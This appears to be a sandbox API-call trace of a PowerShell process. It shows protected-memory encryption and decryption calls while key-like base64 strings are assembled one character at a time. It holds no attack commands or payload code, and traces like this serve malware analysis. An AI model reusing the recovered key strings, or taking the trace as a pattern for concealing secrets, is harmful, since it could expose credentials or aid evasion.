(param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x57f4\xa6f9\x3c7c\x21ab\xa6bc\x9556\x3477\x81b7") returned 0x28 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x57f4\xa6f9\x3c7c\x21ab\xa6bc\x9556\x3477\x81b7") returned 0x28 [0135.228] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.228] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH篺뉔⊇䀭ហᬏ") returned 0x28 [0135.228] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xc44d\xedc\xa702\x3c5f\xaa08\x7e78\x16b\x93e2") returned 0x28 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xc44d\xedc\xa702\x3c5f\xaa08\x7e78\x16b\x93e2") returned 0x28 [0135.229] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH2뉔⊇䀭ហᬏ") returned 0x28 [0135.229] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xbad2\x1c3d\x4401\x83d5\x40af\x86e9\x4ff9\x361") returned 0x28 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xbad2\x1c3d\x4401\x83d5\x40af\x86e9\x4ff9\x361") returned 0x28 [0135.229] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH22⊇䀭ហᬏ") returned 0x28 [0135.229] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x780c\xebe4\x632c\x2335\x438a\x6632\x75eb\x605") returned 0x28 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x780c\xebe4\x632c\x2335\x438a\x6632\x75eb\x605") returned 0x28 [0135.229] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220䀭ហᬏ") returned 0x28 [0135.229] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xe547\xe550\x3f2e\xb9dd\xb3fc\x8894\xefb8\xbdf2") returned 0x28 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xe547\xe550\x3f2e\xb9dd\xb3fc\x8894\xefb8\xbdf2") returned 0x28 [0135.229] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uហᬏ") returned 0x28 [0135.229] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x1b10\xfdac\xda17\xc4b4\x5369\xf576\xad22\xd83") returned 0x28 [0135.229] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x1b10\xfdac\xda17\xc4b4\x5369\xf576\xad22\xd83") returned 0x28 [0135.229] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.230] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uUᬏ") returned 0x28 [0135.230] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xa9ab\xa9b1\x7f30\xb4b4\x7a06\x84dd\x2fd6\x84d5") returned 0x28 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\xa9ab\xa9b1\x7f30\xb4b4\x7a06\x84dd\x2fd6\x84d5") returned 0x28 [0135.230] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.230] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uU4") returned 0x28 [0135.230] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d") returned 0x28 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d") returned 0x28 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d") returned 0x28 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d") returned 0x30 [0135.230] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.230] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uU4q₌挈괖顕蕇ঞ") returned 0x30 [0135.230] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\x7ffc\x5aaa\x4d14\x3b15\x5f36\x30cd\xe9f\x189c") returned 0x30 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\x7ffc\x5aaa\x4d14\x3b15\x5f36\x30cd\xe9f\x189c") returned 0x30 [0135.230] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.230] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uU4qD挈괖顕蕇ঞ") returned 0x30 [0135.230] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\x1fba\x3be1\xc057\xbe51\x4609\x4b88\xd287\x8ead") returned 0x30 [0135.230] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\x1fba\x3be1\xc057\xbe51\x4609\x4b88\xd287\x8ead") returned 0x30 [0135.230] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.230] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uU4qDI挈괖顕蕇ঞ") returned 0x30 [0135.231] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.231] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\xbeb5\x6252\x25a1\xd60d\x4f9b\x5562\xe1b5\x465e") returned 0x30 [0135.231] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\xbeb5\x6252\x25a1\xd60d\x4f9b\x5562\xe1b5\x465e") returned 0x30 [0135.231] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.231] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1TrH220uU4qDI=괖顕蕇ঞ") returned 0x30 [0135.231] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.231] SysStringLen (param_1="") returned 0x8 [0135.231] SysStringLen (param_1="Y") returned 0x8 [0135.232] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.232] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.232] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="YW") returned 0x8 [0135.232] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.232] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.232] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="YWM") returned 0x8 [0135.232] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.232] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.232] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="YWM1") returned 0x8 [0135.232] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.232] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.232] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.232] SysStringLen (param_1="YWM1O") returned 0x8 [0135.232] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.233] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.233] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.233] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.233] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.233] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.233] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.233] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.233] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.233] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.233] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.233] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.233] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.233] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.233] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.233] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.233] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.234] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.234] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.234] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.234] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.234] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.234] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.234] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.234] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.234] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.235] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.235] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.235] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.235] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.235] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.235] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.235] SysStringLen 